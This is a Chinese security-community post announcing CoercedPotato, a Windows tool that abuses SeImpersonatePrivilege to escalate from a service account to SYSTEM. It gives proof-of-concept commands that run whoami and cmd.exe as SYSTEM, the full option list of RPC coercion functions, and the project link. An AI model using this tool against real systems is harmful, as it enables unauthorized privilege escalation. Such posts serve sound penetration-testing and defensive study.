点击蓝字 关注我们
免责声明
本文发布的工具和脚本，仅用作测试和学习研究，禁止用于商业用途，不能保证其合法性，准确性，完整性和有效性，请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利，则应及时通知并提供身份证明，所有权证明，我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用，任何人不得将其应用于非法用途及盈利等目的，间接使用文章中的任何工具、思路及技术，我方对于由此引起的法律后果概不负责。
添加星标不迷路
由于公众号推送规则改变，微信头条公众号信息会被折叠，为了避免错过公众号推送，请大家动动手指设置“星标”，设置之后就可以和从前一样收到推送啦
关于
从Patate（网络/网络服务）到System，在Windows 10，Windows 11和Server 2022上滥用SeImpersonatePrivilege。
一个快速的pooooc：
.CoercedPotato.exe -c whoami
具有交互式外壳的其他PoC：
.CoercedPotato.exe -c cmd.exe
使用
您可以使用--help选项检查帮助消息。
____ _ ____ _ _/ ___|___ ___ _ __ ___ ___ __| | _ ___ | |_ __ _| |_ ___| | / _ / _ '__/ __/ _ / _` | |_) / _ | __/ _` | __/ _| |__| (_) | __/ | | (_| __/ (_| | __/ (_) | || (_| | || (_) |_______/ ___|_| ______|__,_|_| ___/ ____,_|_____/@Hack0ura @PrepouceCoercedPotato is an automated tool for privilege escalation exploit using SeImpersonatePrivilege or SeImpersonatePrimaryToken.Usage: .CoercedPotato.exe [OPTIONS]Options:-h,--help Print this help message and exit-c,--command TEXT REQUIRED Program to execute as SYSTEM (i.e. cmd.exe)-i,--interface TEXT Optionnal interface to use (default : ALL) (Possible values : ms-rprn, ms-efsr-n,--exploitId INT Optionnal exploit ID (Only usuable if interface is defined)-> ms-rprn :[0] RpcRemoteFindFirstPrinterChangeNotificationEx()[1] RpcRemoteFindFirstPrinterChangeNotification()-> ms-efsr[0] EfsRpcOpenFileRaw()[1] EfsRpcEncryptFileSrv()[2] EfsRpcDecryptFileSrv()[3] EfsRpcQueryUsersOnFile()[4] EfsRpcQueryRecoveryAgents()[5] EfsRpcRemoveUsersFromFile()[6] EfsRpcAddUsersToFile()[7] EfsRpcFileKeyInfo() # NOT WORKING[8] EfsRpcDuplicateEncryptionInfoFile()[9] EfsRpcAddUsersToFileEx()[10] EfsRpcFileKeyInfoEx() # NOT WORKING[11] EfsRpcGetEncryptedFileMetadata()[12] EfsRpcEncryptFileExSrv()[13] EfsRpcQueryProtectors()-f,--force BOOLEAN Force all RPC functions even if it says 'Exploit worked!' (Default value : false)--interactive BOOLEAN Set wether the process should be run within the same shell or open a new window. (Default value : true)
项目地址
https://github.com/hackvens/CoercedPotato欢迎关注SecHub网络安全社区，SecHub网络安全社区目前邀请式注册，邀请码获取见公众号菜单【邀请码】
联系方式
电话｜010-86460828
官网｜http://www.secevery.com
关注我们
公众号：sechub安全
哔哩号：SecHub官方账号
原文始发于微信公众号（SecHub网络安全社区）：新Potato | 土豆家族又添一员
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论